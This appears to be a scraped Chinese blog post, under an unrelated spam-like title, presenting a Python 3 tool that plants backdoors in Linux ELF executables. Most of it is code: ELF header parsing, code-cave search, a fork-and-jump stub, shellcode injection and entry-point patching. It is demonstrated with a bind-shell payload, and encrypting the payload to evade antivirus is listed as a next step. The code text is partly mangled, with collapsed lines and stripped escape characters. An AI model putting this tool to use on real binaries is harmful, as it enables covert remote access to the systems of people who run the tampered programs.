手机网站建设公司联系电话/域名被墙检测

在渗透测试中,给常用的可执行文件加上后门是很常见的操作。但是之前的加后门 "The backdoor factory" 已经不维护了,而且还是 Python2 写的,代码质量也...所以我自己尝试着重新用 Python3 造了个轮子。在造轮子的过程中,由于 APUE 扔在学校里面了,导致在写和系统相关的汇编时出现了一些翻车情况...
加后门的流程
基本分为两部分,先分析 ELF,然后根据之前的分析来给 ELF 加个"补丁"。
- 先分析 ELF 结构,拿到 ELF File Header 和 ELF Program Headers (Segments) 的相关信息
- 通过 ELF Program Header 找到带有执行权限的 LOAD 段,看看这个 LOAD 段后有没有 Code Cave。即寻找不属于其他的 Section,ELF 文件为了对其 Segments 而填充的大量 0 字节
- 如果 Segment 末尾出现了一堆 0 字节填充,并且大小合适的话,在这段空白处加入后门代码和相应的辅助代码
- 扩充后门代码和辅助代码所在的 Segments 的 p_filesz 和 p_memsz,让后门代码加载进内存
- 将 ELF File Header 的 e_entry 指向后门代码
ELF 分析过程
介绍 ELF 结构的文章非常多,这里我推荐 UClib 的文档 ,里面讲了 ELF 的不同结构及其作用。有了这个文档后 ELF 文件的分析就非常简单了,可以使用 Python 的 struct
库来提取数据进行分析。首先通过 ELF File Header 获取到 e_phoff
Program header 的文件偏移,然后 seek
到相应位置解析 Program header。
class elf_info:'''This class will parse ELF file and get information from ELF file.'''def __init__(self, file):self.file = fileself.header = self._parse_header()self.segments = self._parse_segment()def _parse_header(self):'''header parse part.'''hdr = {}hdr['e_ident'] = unpack('4sccccc6sc', self.file.read(16))hdr['e_type'], hdr['e_machine'] = unpack('<hh', self.file.read(4))hdr['e_version'], = unpack('<I', self.file.read(4))# Entry point virtual addresshdr['e_entry'], = unpack('<Q', self.file.read(8))# segment/section header file offsethdr['e_phoff'], hdr['e_shoff'] = unpack('<QQ', self.file.read(16))# Processor-specific flags, ELF Header size in byteshdr['e_flags'], hdr['e_ehsize'] = unpack('<Ih', self.file.read(6))# Program header table entry size, Program header table entry counthdr['e_phentsize'], hdr['e_phnum'] = unpack('<hh', self.file.read(4))# Section header table entry size, Section header table entry counthdr['e_shentsize'], hdr['e_shnum'] = unpack('<hh', self.file.read(4))# Section header string table indexhdr['e_shtrndx'], = unpack('<h', self.file.read(2))return hdrdef _parse_segment(self):'''segment/program header parse part.'''self.file.seek(self.header['e_phoff'])segments = []for i in range(self.header['e_phnum']):seg = {}# Type of segment, Segment attributesseg['p_type'], seg['p_flags'] = unpack('<II', self.file.read(8))# Offset in fileseg['p_offset'], = unpack('<Q', self.file.read(8))# Virtual address in memory, Reservedseg['p_vaddr'], seg['p_paddr'] = unpack('<QQ', self.file.read(16))# Size of segment in file, Size of segment in memoryseg['p_filesz'], seg['p_memsz'] = unpack('<QQ', self.file.read(16))# Alignment of segmentseg['p_align'], = unpack('<Q', self.file.read(8))segments.append(seg)return segments
ELF 补丁过程
下面是 Patch 程序的主要流程了,首先是找到合适大小的 Code Cave,然后往这个 Code Cave 里填上辅助代码和相应后门,最后修改 ELF File Header 和 ELF Program Header 让后门得以载入内存并执行。
class injector:def __init__(self, file, inject_code: bytes):self.file = fileself.info = elf_info(self.file)code = b''.join([b'x6ax39', # push 0x39b'x58', # pop raxb'x0fx05', # syscallb'x48x85xc0', # test rax, raxb'x74x0c', # je 0x16# movabs rbp, entryb'x48xbd' + pack('<Q', self.info.header['e_entry']),b'xffxe5', # jmp rbpinject_code]) # inject codesegs = self.find_cave(len(code))if len(segs) == 0:logger.error('No cave in the program')returntarget_idx = segs[0]['index']target = self.info.segments[target_idx]code_offset = target['p_offset'] + target['p_filesz']logger.info(f'Writing code to 0x{code_offset:x}')self.add_machine_code(code_offset, code)new_size = target['p_filesz'] + len(code)logger.info(f'Writing file/mem size to 0x{new_size:x}')self.extend_seg_size(target_idx, new_size)code_va = target['p_vaddr'] + target['p_filesz']logger.info(f'Writing entry to 0x{code_va:x}')self.modify_entry(code_va)
根据 ELF 信息,我们先寻找 ELF 文件中的 Cave。如果出现某个 LOAD Segment 的 'p_filesz' 和 'p_vaddr' 的和小于下一个 Segment 的 'p_vaddr',那么很有可能在这个地方出现 Cave,通过遍历文件来验证这个 Segment 是否存在 Code Cave。
def verify_cave(self, start: int, len_: int) -> int:'''Walking through file to verlify cave's size'''self.file.seek(start)count = 0while self.file.tell() < start + len_:b = self.file.read(1)if b == b'x00':count += 1else:breakreturn countdef find_cave(self, need_size: int):'''Find the cave in LOAD, exec segmentcave means segment's file size is smaller than alloc size'''load_segs = list(filter(lambda x: x['p_type'] == 1,self.info.segments))if len(load_segs) <= 0:exit(1)cave_segs = []for i in range(len(load_segs) - 1):c_seg = load_segs[i]n_seg = load_segs[i + 1]# Not a LOAD segmentsif not c_seg['p_flags'] & 1:continue# First verifymax_range = c_seg['p_filesz'] + c_seg['p_vaddr']if max_range >= n_seg['p_vaddr']:continuereal_size = self.verify_cave(c_seg['p_offset'] + c_seg['p_filesz'],n_seg['p_vaddr'] - max_range)# cave size is too smallif real_size <= need_size:continuelogger.info(f'Found a {real_size} bytes cave')cave_segs.append({'index': self.info.segments.index(c_seg),'cave_size': real_size})return cave_segs
然后是往 Code Cave 处加入辅助代码和后门。后门代码的位置由 目标 Segment 的文件偏移 + 目标 Segment 的文件大小
计算得到,辅助代码复制自 The backdoor factory。这里需要注意的是辅助代码的逻辑,首先是用 fork
创建子进程,如果当前程序是子进程的话,则执行后门,如果当前程序不是子进程的话,就跳转到原程序的 entry。
code = b''.join([b'x6ax39', # push 0x39b'x58', # pop raxb'x0fx05', # syscallb'x48x85xc0', # test rax, raxb'x74x0c', # je inject code# movabs rbp, entryb'x48xbd' + pack('<Q', self.info.header['e_entry']),b'xffxe5', # jmp rbpinject_code]) # inject code
code_offset = target['p_offset'] + target['p_filesz']
logger.info(f'Writing code to 0x{code_offset:x}')
self.add_machine_code(code_offset, code)def add_machine_code(self, pos: int, code: bytes):'''Add code in the increased LOAD segments'''self.file.seek(pos)self.file.write(code)
接下来就算 Patch 上 entry 和 Program Header,让辅助代码和后门得以载入内存并运行。Segment 的 filesz 由 Segment 的旧 filesz + 注入代码长度
得到。而程序的新入口点则是由 Segment 的虚拟地址 + Segment 的旧filesz
得到。
new_size = target['p_filesz'] + len(code)
logger.info(f'Writing file/mem size to 0x{new_size:x}')
self.extend_seg_size(target_idx, new_size)code_va = target['p_vaddr'] + target['p_filesz']
logger.info(f'Writing entry to 0x{code_va:x}')
self.modify_entry(code_va)def extend_seg_size(self, seg_pos: int, new_size: int):'''Patch segment to increase LOAD file size'''file_pos = self.info.header['e_phoff'] + seg_pos * self.info.header['e_phentsize']if self.info.header['e_machine'] == 62:file_pos += 32# TODO: abstract elf types to adapt more architectureselse:passself.file.seek(file_pos)# TODO: static pack sizeself.file.write(pack('<Q', new_size) * 2)def modify_entry(self, new_entry: int):self.file.seek(24)self.file.write(pack('<Q', new_entry))
实战
首先先准备个傀儡,使用 gcc test.c -o test.elf -no-pie
进行编译,如果没有启用 -no-pie 的话程序可能无法运行。
#include <stdio.h>int main()
{printf("Hello, world!n");return 0;
}
我使用了 https://www.exploit-db.com/shellcodes/41128 的正向 Shell 代码,可以发现原程序正常运行,而后门代码也运行了。

完整代码
由于代码太长了,所以我将代码放在了 gist 上了 https://gist.github.com/chenx6/0cedc163bea2aaefd433fff7d02cd4c1,如果访问不了的话可以手动复制粘贴代码,应该可以拼接成可以运行的程序。
未完成工作
这个代码只是一个简单的 DEMO,想要扩展成可维护的软件的话,我个人有下面几个发展方向
- 将 pack 和 unpack 进行封装,类似 pwntools。
- 对 32 位 ELF 文件及其他架构 CPU 的支持可以由增加 ELF 信息来实现,例如在 ELF 信息中将字节序,每一种类型的长度,提取方法通过 ELF 信息类的成员来进行描述。
- 本文只实现了当 Code Cave 存在时的后门植入,如果没有 Code Cave 时候需要扩展文件来实现后门植入。
- 对辅助代码及后门代码进行改写,加密以实现绕过杀毒软件。
- 对位置无关代码的 Patch。
- 使用还在维护的库对 ELF 进行 Patch,例如 LIEF。
refs
exploit database https://www.exploit-db.com
The backdoor factoryhttps://github.com/secretsquirrel/the-backdoor-factory/
UCLib 关于 ELF 格式的文档https://uclibc.org/docs/elf-64-gen.pdf
看不进去英文可以配合 CSDN 这篇文章 https://blog.csdn.net/feglass/article/details/51469511